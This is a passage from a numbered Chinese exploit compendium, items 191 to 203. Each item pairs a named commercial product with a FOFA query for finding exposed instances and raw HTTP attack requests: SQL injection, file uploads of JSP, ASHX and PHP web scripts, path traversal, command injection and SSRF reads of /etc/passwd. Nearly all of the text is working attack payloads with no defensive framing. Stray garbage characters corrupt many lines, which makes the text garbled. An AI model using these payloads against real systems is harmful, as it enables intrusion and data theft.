POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
3 M- R" U5 H4 W* i3 ]( o2 W1 _! VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
* F% f  ]4 J+ |9 U! R( HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- [) B* g" A" ?6 N; B& c9 @Content-Type: application/x-www-form-urlencoded
: M) @2 U9 c- w. ?+ n1 P  g+ SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ f% u4 Z8 K; ^8 M$ N
poi=file:///etc/passwd
6 t7 }0 X% d% ~; L# m

* `# u4 ~) X) `8 a! B191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
5 p) n- w; c' U) JFOFA：body="/CDGServer3/index.jsp"
4 `/ b8 N1 {7 QPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
! H* q" v. a0 JHost: your-ip
, B$ a4 q+ j! a% z& E5 A. LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ R- t# i% b2 P$ D$ H8 VContent-Type: application/x-www-form-urlencoded
, v" {' q% e( d4 A
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


$ w. ?, I# m' x% H8 e8 Z  M192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
9 q/ o5 G9 [+ Z' B5 M, [; lFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
) q+ {6 d1 v) `1 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 @/ Y; Q) v  g9 K- S1 x2 A# C0 u$ dContent-Type: application/x-www-form-urlencoded
' }" W1 I, |; ]6 k+ e& t, d+ E

<% @ webhandler language="C#" class="AverageHandler" %>
" F" V3 A4 `% X  a* R$ Q9 uusing System;
using System.Web;
1 u& n* ?' B1 _* j0 P2 }/ opublic class AverageHandler : IHttpHandler
4 l6 h. ]; X, p. `{
public bool IsReusable
{ get { return true; } }
! F, ~' [6 P4 i( Dpublic void ProcessRequest(HttpContext ctx)
8 b! [, z0 F+ r& y{
* w0 h2 W- u- t* Ictx.Response.Write("test");
$ Y3 G8 G. x0 ~7 z}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
4 b" N9 `% W2 R% ]7 P9 }- kGET /master/ajaxActions/getTokenAction.php HTTP/1.1
5 o1 u6 q' k; CHost:
4 S+ K" |9 Y/ |( S. Q+ b. Y1 tCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
$ G( |! T/ E1 F* C' d  a

. V6 W, j) }9 D5 {& mPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
1 G6 i: n, v/ A* U* FAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
1 [+ E  T$ E4 _Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
) |" ]% N* k5 E4 A, v

GET /master/img/config HTTP/1.1
Host:
3 B/ L2 p: g/ q6 [/ d( G0 y+ G1 A' ]User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
* X9 o8 p% L  u+ IHost: host
& [! Q% O  i5 L! xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ]( s; C6 w) p8 o+ ?2 e  U0 `  VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% N7 g) k6 J, a4 Z1 L1 W- Q$ qAccept-Encoding: gzip, deflate
Connection: close
. C. Q; x; l7 n2 g4 a' DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
! d8 Z7 C0 ?2 G* G2 sContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
  t+ f" R$ }# X1 MContent-Disposition: form-data; name="json"
7 |" J# z: M. |) m% F4 T) k2 ^ {"iq":{"query":{"UpdateType":"mail"}}}
1 }$ i) J% j! b0 n------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


) C0 Q: \! r; @! S% t( a195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
! }5 I8 t( U! k: Z! e4 ^POST /send_order.cgi?parameter=operation HTTP/1.1
' s7 Q0 H# F% K. @( iHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
9 v; S. y6 [7 A  u# Z% EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
0 i' Y7 i+ F! ]Accept: */*
! f. p5 y' W8 ?1 t! dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 B; w( E3 S  u% x) jConnection: close
7 U5 B$ o4 Y2 L9 N8 UContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
! X0 g, I' u) k2 ^POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ e8 d- e* \5 K% P. cContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
+ L: {8 W. k4 W0 B) oHost:
+ `; Z- V) @0 c  N7 Q( u1 uAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
1 b2 I7 H( P7 c+ R0 K6 c" mConnection: close
5 m5 x" z4 I, s/ r% J& j9 Y# P8 ]& ]# |
{"xgh":"test","newPass":"test666","email":""}
2 u' I9 V/ T- O1 {  D
2 U9 d. Q, u2 P0 Z2 b; E

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
/ A/ Y# h* t( {6 r" s: bGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
9 E- [: w2 n* |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
4 w5 h, O3 u- F& G' HAccept-Encoding: gzip, deflate
Connection: close
0 z! ?3 M+ l# `0 n: e5 ~' P& W9 _


0 X- T% v- L' `$ X( C8 Y& [/ U198.  阿里云盘 WebDAV 命令注入
$ Z5 C; u6 I, Y1 @) ^4 LCVE-2024-29640
% ~0 f+ e7 n( o, h  GGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
# k# V, V% ]# z3 M0 ^& u7 VCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
8 N+ j% x2 j  C4 Y, y7 BAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
8 h- |  g5 g) w+ |1 FConnection: close


6 X- X/ K, {. f7 D+ W/ V0 S5 T( {7 O199. cockpit系统assetsmanager_upload接口 文件上传
, K0 X7 d, j' |2 v; L4 l
* s7 q: H, c( A1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
" ^3 N% `; v9 _' TGET /auth/login?to=/ HTTP/1.1
5 q% `4 N. r- T2 E+ d
  h$ |+ `  @( y% |" G$ m响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
: X$ O0 T  Y" g3 M1 K& T/ X
, T5 M7 {4 k1 E+ g; r( w) Y6 y2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
) e3 y; {' p  oContent-Type: application/json
' S- n( v' ]: C8 s+ H4 x
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
0 A, D2 _, ]; r% @: xSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
8 _2 {+ P0 `- O0 Z9 CPOST /assetsmanager/upload HTTP/1.1
$ \3 J  q5 g7 bContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
9 U8 @! s. E: L0 A% E% ?3 G+ P) w0 S
1 k$ v$ d( o. F: ^4 D4 v. o* q( ]! W-----------------------------36D28FBc36bd6feE7Fb3
, ?3 S+ u+ G9 |Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
- v% v2 [0 f( V( `3 X! v6 e% U" T
1 `' s- `! P3 d' ^1 U$ x<?php echo "tttt";unlink(__FILE__);?>
! V6 z/ a0 J! j  `$ X' e8 u-----------------------------36D28FBc36bd6feE7Fb3
  H5 s4 [0 I8 o% }" }Content-Disposition: form-data; name="folder"
8 Y/ |2 c4 V  T2 M
; {) }! S1 Y# E8 X-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
& ]  p* O( q1 }# J  ~FOFA：app="海洋CMS"
8 G# @4 m/ y) E, G" jGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
1 `1 g! f/ T/ k4 N" FCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
+ ]+ D3 z9 g! HCache-Control: max-age=0
8 b; X& h) M& `5 e+ O4 @; v: L9 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( j! T( C& U! Q1 t- hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 N) }( P' D$ z. ]4 q2 e$ g. k
0 V3 J9 A: Y* J6 U' N- Y6 P1 _' ]
201. 方正全媒体新闻采编系统 binary SQL注入
2 q, |6 G* s8 [! f, UFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
  _( z( w' ~  Q- x) S+ cPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ x  h; y9 k& ]7 B
" V, k+ P/ p2 r+ j; A' K/ @TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
9 P' b& j: B- A, z3 f: nFOFA：body="/Widgets/WidgetCollection/"
. \3 i' I/ L) E1 i# _获取__VIEWSTATE和__EVENTVALIDATION值
; |3 A! i5 @2 KGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
; _; F' z" g. s* R; v9 \# ?" ZPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
  W' s# L8 u  o8 w4 _Content-Disposition: form-data; name="__VIEWSTATE"

3 B" C$ y2 y6 m" {1 d__VIEWSTATE
9 R8 b& v: {1 z) _, \% H% N-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
; K# ^/ b- W# w+ n0 i- `) iContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
" h0 [2 E0 B1 Y
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

( b( p" ^5 K1 \  U上传图片
/ t% p' u' W3 b-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

5 d4 y9 a. f- I
7 f6 h9 I! a! ~3 o( o8 p) o' U-----------------------------786435874t38587593865736587346567358735687
6 P/ U7 s* R! T" i/ sContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

6 z; V% ]/ \" R( m/ y! |1 r
- ?5 Y* B6 x- {! Q- g-----------------------------786435874t38587593865736587346567358735687--
6 Z- q8 Y. k% X, {) Q( G

/_data/Uploads/1123.txt
0 b4 B8 ]) c# P* P% o
1 r5 E: G+ |8 O& e* ]! r203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
/ i: t+ r' z( U& v" s* H: mHost: x.x.x.x
! Q+ V/ F# }" w$ W& V# p% h2 xAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
6 W' M6 s1 \" H) NContent-Length: 210
0 J5 l- m0 x$ y8 d
0 M# `/ d% H, U. N, O( ]------WebKitFormBoundaryt7WbDl1tXogoZys4
+ r: [' m% L' @0 u( ?Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
4 F  D6 S: Z4 g4 c
) _' {/ r* C/ y1 B# Y' F# T& e5 w<% out.print("hello,eHR");%>
1 `" B$ m1 i+ R! Y+ ^------WebKitFormBoundaryt7WbDl1tXogoZys4--
/ D1 Z5 m8 T8 D( m# a  Z% h7 W
2 n: J. N" h2 w  K4 c1 q! R* Q


2 g: ]' x* M2 g0 W- M8 {( \
: e* P0 V2 Q) I, i) V0 z* S) s& M
" U6 ^5 y& V- Y8 V3 p